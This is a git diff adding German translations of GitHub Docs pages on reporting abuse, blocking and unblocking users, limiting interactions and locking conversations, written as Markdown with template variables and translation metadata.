+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090276'
+---
+Inhaber, Mitarbeiter, ehemalige Mitwirkende und Benutzer mit Schreibzugriff können Issues, Pull Requests und Kommentare zu Issues, Pull Requests und Commits melden. Jeder kann Apps auf {% data variables.product.prodname_marketplace %} melden.
+
+## Über das Melden von Missbrauch oder Spam
+
+{% data reusables.policies.github-community-guidelines-and-terms %}
+
+Du kannst Benutzer, die die Community-Richtlinien oder Nutzungsbedingungen von {% data variables.product.prodname_dotcom %} verletzt haben, über {% data variables.contact.report_abuse %} oder {% data variables.contact.report_content %} melden. Du kannst auch Issues, Pull Requests, oder Kommentare zu Issues, Pull Requests und Commits melden.
+
+Wenn „gemeldeter Inhalt" für ein öffentliches Repository aktiviert ist, kannst Du Inhalte auch direkt dem Repository-Betreuer melden.
+
+Benutzer in Indien können [hier](https://support.github.com/contact/india-grievance-officer) den Grievance Officer von GitHub für Indien kontaktieren.
+
+## Einen Benutzer melden
+
+{% data reusables.profile.user_profile_page_navigation %} {% data reusables.profile.user_profile_page_block_or_report %}
+3. Klicke auf **Missbrauch melden**.
+  ![Modales Feld mit Optionen zum Blockieren von Benutzern oder Melden von Missbrauch](/assets/images/help/profile/profile-report-abuse.png)
+4. Fülle das Kontaktformular aus, um dem {% data variables.contact.contact_support %} das Verhalten des Benutzers zu melden, und klicke auf **Anfrage senden**.
+
+## Issue oder Pull-Request melden
+
+1. Navigiere zu dem Issue oder Pull Request, das respektive den Du melden möchtest.
+2. Klicke in der oberen rechten Ecke des Issues oder Pull Requests auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}, und klicke dann auf **Inhalt melden**.
+  ![Schaltfläche zum Melden eines Kommentars](/assets/images/help/repository/menu-report-issue-or-pr.png) {% data reusables.community.report-content %}
+
+## Einen Kommentar melden
+
+1. Navigiere zu dem Kommentar, den Du melden möchtest.
+2. Klicke rechts oben im Kommentar auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} und anschließend auf **Inhalt melden**.
+![Menü mit vertikalen Auslassungspunkten mit Option zum Melden eines Kommentars](/assets/images/help/repository/menu-report-comment.png) {% data reusables.community.report-content %}
+
+## App auf {% data variables.product.prodname_marketplace %} melden
+
+{% data reusables.marketplace.visit-marketplace %}
+2. Navigiere zu der App, die Du melden möchtest.
+3. Klicke in der linken Randleiste im Abschnitt „Links für Entwickler“ auf {% octicon "report" aria-label="The report symbol" %} **Missbrauch melden**.
+  ![Schaltfläche zum Melden einer App auf {% data variables.product.prodname_marketplace %}](/assets/images/help/marketplace/marketplace-report-app.png)
+4. Fülle das Kontaktformular aus, um dem {% data variables.contact.contact_support %} das Verhalten der App zu melden, und klicke auf **Anfrage senden**.
+
+## Melden von Kontaktlink-Missbrauch in der Vorlagenauswahl
+
+1. Navigiere zum Repository, das den Kontaktlink enthält, den Du melden möchtest.
+2. Klicke unter dem Namen des Repositorys auf {% octicon "issue-opened" aria-label="The issues icon" %} **Issues**.
+3. Klicke in der unteren rechten Ecke der Vorlagenauswahl auf **Missbrauch melden**.
+  ![Link zum Melden eines Missbrauchs](/assets/images/help/repository/template-chooser-report-abuse.png)
+4. Fülle das Kontaktformular aus, um dem {% data variables.contact.contact_support %} das Verhalten des Kontaktlinks zu melden, und klicke auf **Anfrage senden**.
+
+## Weiterführende Themen
+
+- [Einrichten deines Projekts für hilfreiche Beiträge](/communities/setting-up-your-project-for-healthy-contributions)
+- [Verwenden von Vorlagen zur Förderung nützlicher Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)
+- [Verwalten störender Kommentare ](/communities/moderating-comments-and-conversations/managing-disruptive-comments){% ifversion fpt or ghec %}
+- [Aufrechterhalten der Sicherheit auf {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)
+- [Begrenzen von Interaktionen in deinem Repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository){% endif %}
+- [Verfolgen von Änderungen an einem Kommentar](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)
diff --git a/translations/de-DE/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/de-DE/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
new file mode 100644
index 0000000000..c7a1ba464c
--- /dev/null
+++ b/translations/de-DE/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
@@ -0,0 +1,49 @@
+---
+title: Sperre eines Benutzers für deine Organisation aufheben
+intro: Organisationsinhaber*innen und Moderator*innen können die Sperrung zuvor blockierter Benutzer*innen aufheben. Damit wird deren Zugriff auf die Repositorys der Organisation wiederhergestellt.
+redirect_from:
+  - /articles/unblocking-a-user-from-your-organization
+  - /github/building-a-strong-community/unblocking-a-user-from-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Unblock from your org
+ms.openlocfilehash: 0c7099c21e3342717605f59a94e0025a7949b1cc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105427'
+---
+Nach der Aufhebung der Sperre kann der Benutzer wieder zu den Repositorys der Organisation beitragen.
+
+Wenn du beim blockieren des Benutzers einen bestimmten Zeitraum für die Sperre ausgewählt hast, wird die Sperre nach diesem Zeitraum automatisch aufgehoben. Weitere Informationen findest du unter [Sperren eines Benutzers für deine Organisation](/articles/blocking-a-user-from-your-organization).
+
+{% tip %}
+
+**Tipp**: Einstellungen, die bei der Blockierung eines Benutzers entfernt wurden, beispielsweise der Mitarbeiterstatus, Sterne und Überwachungselemente, werden bei der Aufhebung der Blockierung nicht wiederhergestellt.
+
+{% endtip %}
+
+## Sperre eines Benutzers für einen Kommentar aufheben
+
+1. Navigiere zu dem Kommentar, dessen Verfassers du entsperren möchtest.
+2. Klicke in der oberen rechten Ecke des Kommentars auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Sperrung des Benutzers aufheben**.
+![Horizontales 3-Punkte-Symbol und Menü zum Moderieren von Kommentaren mit der Option zum Entsperren eines Benutzers](/assets/images/help/repository/comment-menu-unblock-user.png)
+3. Um die Aufhebung der Benutzersperre zu bestätigen, klicke auf **OK**.
+
+## Sperre eines Benutzers in den Organisationseinstellungen aufheben
+
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.block_users %}
+1. Klicke unter „Blockierte Benutzer“ neben dem Benutzer, dessen Blockierung du aufheben möchten, auf **Entsperren**.
+![Schaltfläche „Benutzer entsperren“](/assets/images/help/organizations/org-unblock-user-button.png)
+
+## Weiterführende Themen
+
+- [Sperren eines Benutzers für deine Organisation](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)
+- [Sperren eines Benutzers für dein persönliches Konto](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)
+- [Aufheben der Blockierung eines Benutzers für dein persönliches Konto](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)
+- [Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)
diff --git a/translations/de-DE/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md b/translations/de-DE/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md
new file mode 100644
index 0000000000..177e210c81
--- /dev/null
+++ b/translations/de-DE/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md
@@ -0,0 +1,51 @@
+---
+title: Blockierung eines Benutzers für Ihr persönliches Konto aufheben
+intro: 'Wenn du einen {% data variables.product.prodname_dotcom %}-Benutzer blockiert hast, um dessen Benachrichtigungen, Einladungen und Beiträge abzuwehren, kannst du die Blockierung dieses Benutzers wieder aufheben.'
+redirect_from:
+  - /articles/unblocking-a-user-from-your-personal-account
+  - /github/building-a-strong-community/unblocking-a-user-from-your-personal-account
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Unblock from your account
+ms.openlocfilehash: a88a8613a8d787ee7e42ea9f6f5ef994353aedc8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090271'
+---
+Ein Benutzer, dessen Sperre Du aufhebst, kann Dich auch wieder als Mitarbeiter zu seinen Repositorys einladen. Wenn du auf GitHub [@mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) wirst, erhältst du Benachrichtigungen.
+
+An Deinen eigenen Repositorys kann der Benutzer wieder wie gewohnt mitwirken.
+
+Du kannst eines Benutzers in Deinen Kontoeinstellungen oder auf der Profilseite des Benutzers entsperren.
+
+## Sperre eines Benutzers in Deinen Kontoeinstellungen aufheben
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.blocked_users %}
+3. Klicke unter „Blockierte Benutzer“ neben dem Benutzer, dessen Blockierung du aufheben möchten, auf **Entsperren**.
+![Schaltfläche „Benutzer entsperren“](/assets/images/help/organizations/org-unblock-user-button.png)
+
+## Sperre eines Benutzers auf seiner Profilseite aufheben
+
+{% data reusables.profile.user_profile_page_navigation %}
+2. Klicke in der linken Randleiste unter dem Profilbild des Benutzers auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, und klicke dann auf **„Benutzer entsperren“ oder „Benutzer melden“** .
+![Link „Benutzer entsperren“ oder „Benutzer melden“](/assets/images/help/profile/profile-unblock-or-report-user.png)
+3. Klicke auf **Benutzer entsperren**.
+  ![Modales Feld mit Option zum Entsperren eines Benutzers oder Melden von Missbrauch](/assets/images/help/profile/profile-unblockuser.png)
+
+{% tip %}
+
+**Tipp**: Einstellungen, die bei der Blockierung des Benutzers entfernt wurden, beispielsweise sein Mitarbeiterstatus, Sterne und Follows, werden bei der Aufhebung der Blockierung nicht wiederhergestellt.
+
+{% endtip %}
+
+## Weitere Informationsquellen
+
+- [Blockieren eines Benutzers für dein persönliches Konto](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)
+- [Blockieren eines Benutzers für deine Organisation](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)
+- [Entsperren eines Benutzers für deine Organisation](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization)
+- [Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)
diff --git a/translations/de-DE/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md b/translations/de-DE/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md
new file mode 100644
index 0000000000..4d39d3d9fc
--- /dev/null
+++ b/translations/de-DE/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md
@@ -0,0 +1,28 @@
+---
+title: Für Ihre Organisation blockierte Benutzer anzeigen
+intro: 'Du kannst eine Liste sämtlicher Benutzer anzeigen, die von Dir oder von anderen Inhabern für Deine Organisation blockiert wurden. Wenn ein Benutzer für einen bestimmten Zeitraum gesperrt wurde, kannst du sehen, wie lange er gesperrt wurde.'
+redirect_from:
+  - /articles/viewing-users-who-are-blocked-from-your-organization
+  - /github/building-a-strong-community/viewing-users-who-are-blocked-from-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: View blocked users in org
+ms.openlocfilehash: 2d61ec620c87da63d72dad0b536d2dd7333923ff
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090270'
+---
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.block_users %}
+5. Überprüfe unter „Blocked users“ (Blockierte Benutzer) die Liste der Benutzer, die in Deiner Organisation gesperrt sind.
+  ![Liste der gesperrten Benutzer](/assets/images/help/settings/list-of-blocked-users-for-org.png)
+
+## Weitere Informationsquellen
+
+- [Einen Benutzer für Ihre Organisation blockieren](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)
+- [Sperre eines Benutzers für Deine Organisation aufheben](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization)
+- [Benutzer anzeigen, die für ein persönliches Konto blockiert wurden](/articles/viewing-users-you-ve-blocked-from-your-personal-account)
diff --git a/translations/de-DE/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md b/translations/de-DE/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md
new file mode 100644
index 0000000000..75c08d7dd7
--- /dev/null
+++ b/translations/de-DE/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md
@@ -0,0 +1,29 @@
+---
+title: 'Benutzer anzeigen, die du für dein persönliches Konto blockiert hast'
+intro: 'Du kannst eine Liste sämtlicher Benutzer*innen anzeigen, die du in deinem persönlichen Konto blockiert hast.'
+redirect_from:
+  - /articles/viewing-users-you-ve-blocked-from-your-personal-account
+  - /articles/viewing-users-youve-blocked-from-your-personal-account
+  - /github/building-a-strong-community/viewing-users-youve-blocked-from-your-personal-account
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: View blocked users in account
+ms.openlocfilehash: 622a6c066175ecc909c0f129f1a7e5e1849eac7e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090258'
+---
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.blocked_users %}
+3. Überprüfe unter „Blocked users“ (Blockierte Benutzer) die Benutzer, die du in deinem Konto gesperrt hast.
+  ![Liste der gesperrten Benutzer](/assets/images/help/settings/list-of-blocked-users.png)
+
+## Weitere Informationsquellen
+
+- [Einen Benutzer für dein persönliches Konto blockieren](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)
+- [Blockierung eines Benutzers für dein persönliches Konto aufheben](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)
+- [Für deine Organisation blockierte Benutzer anzeigen](/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization)
diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/index.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/index.md
new file mode 100644
index 0000000000..0bc753038f
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/index.md
@@ -0,0 +1,31 @@
+---
+title: Kommentare und Unterhaltungen moderieren
+shortTitle: Moderation
+intro: 'Das Moderieren von Unterhaltungen schafft eine einladende Community für alle Mitwirkenden in Deinem Projekt, indem eine gesunde Zusammenarbeit gefördert wird und Konflikte deeskaliert werden. Du kannst den Verhaltenskodex deiner Community auf Diskussionen anwenden, indem du gemeldete Inhalte überprüfst, Kommentare bearbeitest und löschst und Unterhaltungen sperrst.'
+redirect_from:
+  - /articles/moderating-comments-and-conversations
+  - /github/building-a-strong-community/moderating-comments-and-conversations
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+children:
+  - /managing-disruptive-comments
+  - /locking-conversations
+  - /limiting-interactions-in-your-repository
+  - /limiting-interactions-for-your-personal-account
+  - /limiting-interactions-in-your-organization
+  - /tracking-changes-in-a-comment
+  - /managing-how-contributors-report-abuse-in-your-organizations-repository
+  - /managing-reported-content-in-your-organizations-repository
+ms.openlocfilehash: 642aa8b5dcedf4167239ccd94363a08ded9e25d7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145149636'
+---
+
diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md
new file mode 100644
index 0000000000..3d56cdb269
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md
@@ -0,0 +1,37 @@
+---
+title: Einschränken von Interaktionen für dein persönliches Konto
+intro: 'Du kannst für bestimmte Benutzer in allen öffentlichen Repositorys, die zu deinem persönlichen Konto gehören, einen Zeitraum mit eingeschränkter Aktivität erzwingen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+permissions: Anyone can limit interactions for their own personal account.
+redirect_from:
+  - /github/building-a-strong-community/limiting-interactions-for-your-user-account
+  - /communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account
+topics:
+  - Community
+shortTitle: Limit interactions in account
+ms.openlocfilehash: df83b19880347dacb18e2e5bf048e6478ba0e61b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145164849'
+---
+## Informationen zu temporären Interaktionseinschränkungen
+
+Durch die Einschränkung der Interaktionen für dein persönliches Konto kannst du die Interaktionen für alle öffentlichen Repositorys im Besitz deines persönlichen Kontos vorübergehend begrenzen. {% data reusables.community.interaction-limits-restrictions %}
+
+{% data reusables.community.interaction-limits-duration %} Nach Ablauf der Beschränkung können die Benutzer ihre normalen Aktivitäten in deinen öffentlichen Repositorys fortsetzen.
+
+{% data reusables.community.types-of-interaction-limits %}
+
+Wenn du benutzerweite Aktivitätsbeschränkungen aktivierst, kannst du keine Interaktionsbeschränkungen für einzelne Repositorys aktivieren oder deaktivieren. Weitere Informationen zur Einschränkung von Aktivitäten für ein einzelnes Repository findest du unter [Einschränken von Interaktionen in deinem Repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository).
+
+Du kannst Benutzer auch blockieren. Weitere Informationen findest du unter [Blockieren eines Benutzers in deinem persönlichen Konto](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account). 
+
+## Einschränken von Interaktionen für dein persönliches Konto
+
+{% data reusables.user-settings.access_settings %}
+1. Wähle im Abschnitt „Zugriff“ auf der Randleiste **{% octicon "report" aria-label="The report icon" %} Moderation** aus, und klicke dann auf **Interaktionseinschränkungen**.
+{% data reusables.community.set-interaction-limit %} ![Optionen für temporäre Interaktionseinschränkungen](/assets/images/help/settings/user-account-temporary-interaction-limits-options.png)
diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
new file mode 100644
index 0000000000..df88779c70
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
@@ -0,0 +1,51 @@
+---
+title: Einschränken von Interaktionen in deiner Organisation
+intro: 'Du kannst für bestimmte Benutzer*innen in allen öffentlichen Repositorys, die deiner Organisation gehören, einen Zeitraum mit eingeschränkter Aktivität erzwingen.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/limiting-interactions-in-your-organization
+  - /articles/limiting-interactions-in-your-organization
+  - /github/building-a-strong-community/limiting-interactions-in-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+permissions: Organization owners and moderators can limit interactions in an organization.
+topics:
+  - Community
+shortTitle: Limit interactions in org
+ms.openlocfilehash: 03bfad7a0da3386b6205517deb66e6b923de8386
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066682'
+---
+## Informationen zu temporären Interaktionseinschränkungen
+
+Das Einschränken von Interaktionen in deiner Organisation ermöglicht temporäre Interaktionseinschränkungen für alle öffentlichen Repositorys, die im Besitz der Organisation sind. {% data reusables.community.interaction-limits-restrictions %}
+
+{% data reusables.community.interaction-limits-duration %} Nach Ablauf der Einschränkung können die Benutzer*innen ihre normalen Aktivitäten in den öffentlichen Repositorys deiner Organisation fortsetzen.
+
+{% data reusables.community.types-of-interaction-limits %}
+
+Mitglieder der Organisation sind von keiner der Limittypen betroffen.
+
+Wenn du Einschränkungen für die gesamte Organisation aktivierst, kannst du keine Beschränkung der Interaktionen für einzelne Repositorys aktivieren oder deaktivieren. Weitere Informationen zur Einschränkung von Aktivitäten für ein einzelnes Repository findest du unter [Einschränken von Interaktionen in deinem Repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository).
+
+Organisationsbesitzer können auch Benutzer für eine bestimmte Zeitdauer blockieren. Wenn die Sperre ausläuft, wird der Benutzer automatisch entsperrt. Weitere Informationen findest du unter [Sperren von Benutzer*innen für deine Organisation](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization).
+
+## Einschränken von Interaktionen in deiner Organisation
+
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. _Für Besitzer von Organisationen:_ Wähle im Abschnitt „Zugriff“ auf der Seitenleiste **{% octicon "report" aria-label="The report icon" %}-Moderation** aus, und klicke dann auf **Interaktionseinschränkungen**.
+
+   _Für Organisationsmoderatoren:_ Klicke in der Seitenleiste auf **Interaktionseinschränkungen**.
+
+{% data reusables.community.set-interaction-limit %} ![Optionen für temporäre Interaktionseinschränkungen](/assets/images/help/organizations/organization-temporary-interaction-limits-options.png)
+
+## Weiterführende Themen
+- [Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)
+- [Verwalten des Zugriffs einer Person auf ein Repository einer Organisation](/articles/managing-an-individual-s-access-to-an-organization-repository)
+- [Berechtigungsebenen für ein Repository eines persönlichen Kontos](/articles/permission-levels-for-a-user-account-repository)
+- [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
+- [Verwalten von Moderatoren in deiner Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization)
diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
new file mode 100644
index 0000000000..3631c00a28
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
@@ -0,0 +1,43 @@
+---
+title: Einschränken von Interaktionen in deinem Repository
+intro: Du kannst für bestimmte Benutzer*innen vorübergehend beschränkte Aktivitäten in einem öffentlichen Repository erzwingen.
+redirect_from:
+  - /articles/limiting-interactions-with-your-repository
+  - /articles/limiting-interactions-in-your-repository
+  - /github/building-a-strong-community/limiting-interactions-in-your-repository
+versions:
+  fpt: '*'
+  ghec: '*'
+permissions: 'People with admin permissions to a repository, and organization moderators, can temporarily limit interactions in that repository.'
+topics:
+  - Community
+shortTitle: Limit interactions in repo
+ms.openlocfilehash: 0b49e1bfdf29be5dc270a453512701c9369c5933
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067250'
+---
+## Informationen zu temporären Interaktionseinschränkungen
+
+{% data reusables.community.interaction-limits-restrictions %}
+
+{% data reusables.community.interaction-limits-duration %} Nachdem die Dauer deiner Beschränkung überschritten wurde, können Benutzer normale Aktivitäten in deinem Repository fortsetzen.
+
+{% data reusables.community.types-of-interaction-limits %}
+
+Du kannst auch Aktivitätseinschränkungen für alle Repositorys im Besitz deines persönlichen Kontos oder einer Organisation aktivieren. Wenn eine benutzerweite oder organisationsweite Beschränkung aktiviert ist, kannst du die Aktivität für einzelne Repositorys, die im Besitz des Kontos sind, nicht beschränken. Weitere Informationen findest du unter „[Einschränken von Interaktionen für dein persönliches Konto](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account)“ und „[Einschränken von Interaktionen in deiner Organisation](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)“.
+
+## Einschränken von Interaktionen in deinem Repository
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+1. Wähle in der Seitenleiste **{% octicon "comment-discussion" aria-label="The comment-discussion icon" %} Moderationsoptionen** aus und klicke dann auf **Interaktionsbeschränkungen**.
+{% data reusables.community.set-interaction-limit %} ![Optionen für temporäre Interaktionsbeschränkungen](/assets/images/help/repository/temporary-interaction-limits-options.png)
+
+## Weiterführende Themen
+- [Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)
+- [Verwalten des Zugriffs einer Person auf ein Repository einer Organisation](/articles/managing-an-individual-s-access-to-an-organization-repository)
+- [Berechtigungsebenen für ein Repository eines persönlichen Kontos](/articles/permission-levels-for-a-user-account-repository)
+- [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
+- [Verwalten von Moderatoren in deiner Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization)
diff --git a/translations/de-DE/content/communities/moderating-comments-and-conversations/locking-conversations.md b/translations/de-DE/content/communities/moderating-comments-and-conversations/locking-conversations.md
new file mode 100644
index 0000000000..da59092c0b
--- /dev/null
+++ b/translations/de-DE/content/communities/moderating-comments-and-conversations/locking-conversations.md
@@ -0,0 +1,48 @@
+---
+title: Unterhaltungen sperren
+intro: 'Repository-Inhaber und -Mitarbeiter sowie Personen mit Schreibzugriff auf ein Repository können Unterhaltungen zu Issues, Pull-Requests und Commits dauerhaft oder temporär sperren, um eine hitzige Diskussion zu entschärfen.'
+redirect_from:
+  - /articles/locking-conversations
+  - /github/building-a-strong-community/locking-conversations
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+ms.openlocfilehash: 986d23cb4fe9850cb6c6824e9a3f2c256b6fd4e4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090241'
+---
+Du solltest eine Unterhaltung sperren, wenn die gesamte Unterhaltung nicht konstruktiv ist oder gegen die Verhaltensregeln deiner Community{% ifversion fpt or ghec %} oder gegen die [Community-Richtlinien](/free-pro-team@latest/github/site-policy/github-community-guidelines) von GitHub{% endif %} verstößt. Wenn Du eine Unterhaltung sperrst, kannst Du auch einen Grund dafür angeben, der dann öffentlich sichtbar ist.
+
+Das Sperren einer Unterhaltung erstellt ein Zeitleistenereignis, das für alle Benutzer mit Lesezugriff auf das Repository sichtbar ist. Der Benutzername der Person, die die Unterhaltung gesperrt hat, ist jedoch nur für Benutzer mit Schreibzugriff auf das Repository zu sehen. Für Personen ohne Schreibzugriff ist das Zeitleistenereignis anonymisiert.
+
+![Anonymisiertes Zeitleistenereignis für eine gesperrte Unterhaltung](/assets/images/help/issues/anonymized-timeline-entry-for-locked-conversation.png)
+
+Solange eine Unterhaltung gesperrt ist, können nur [Personen mit Schreibzugriff](/articles/repository-permission-levels-for-an-organization/) sowie [Besitzer und Projektmitarbeiter von Repositorys](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-personal-account) Kommentare hinzufügen, ausblenden und löschen.
+
+Um nach gesperrten Unterhaltungen in einem nicht archivierten Repository zu suchen, kannst du die Qualifizierer `is:locked` und `archived:false` verwenden. In archivierten Repositorys sind Unterhaltungen automatisch gesperrt. Weitere Informationen findest du unter [Durchsuchen von Issues und Pull Requests](/search-github/searching-on-github/searching-issues-and-pull-requests#search-based-on-whether-a-conversation-is-locked).
+
+1. Verfasse optional einen Kommentar, in dem Du erklärst, weshalb Du die Unterhaltung sperrst.
+2. Klicke am rechten Rand des Issues bzw. Pull Requests oder über dem Kommentarfeld auf der Commitseite auf **Unterhaltung sperren**.
+![Link „Unterhaltung sperren“](/assets/images/help/repository/lock-conversation.png)
+3. Optional kannst Du einen Grund für das Sperren der Unterhaltung auswählen.
+![Menü „Grund für das Sperren einer Unterhaltung“](/assets/images/help/repository/locking-conversation-reason-menu.png)
+4. Lies die Informationen zum Sperren von Unterhaltungen, und klicke auf **Unterhaltung zu diesem Issue sperren**, **Unterhaltung zu diesem Pull Request sperren** oder **Unterhaltung zu diesem Commit sperren**.
+![Dialogfeld „Bestätigen der Sperre mit Begründung“](/assets/images/help/repository/lock-conversation-confirm-with-reason.png)
+5. Wenn du die Unterhaltung entsperren möchtest, klicke auf **Unterhaltung entsperren**.
+![Link „Unterhaltung entsperren“](/assets/images/help/repository/unlock-conversation.png)
+
+## Weiterführende Themen
+
+- [Einrichten deines Projekts für hilfreiche Beiträge](/communities/setting-up-your-project-for-healthy-contributions)
+- [Verwenden von Vorlagen zur Förderung nützlicher Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)
+- [Verwalten störender Kommentare ](/communities/moderating-comments-and-conversations/managing-disruptive-comments){% ifversion fpt or ghec %}
+- [Aufrechterhalten der Sicherheit auf {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)
+- [Missbrauch oder Spam melden](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)
+- [Interaktionen in deinem Repository begrenzen](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) {% endif %}
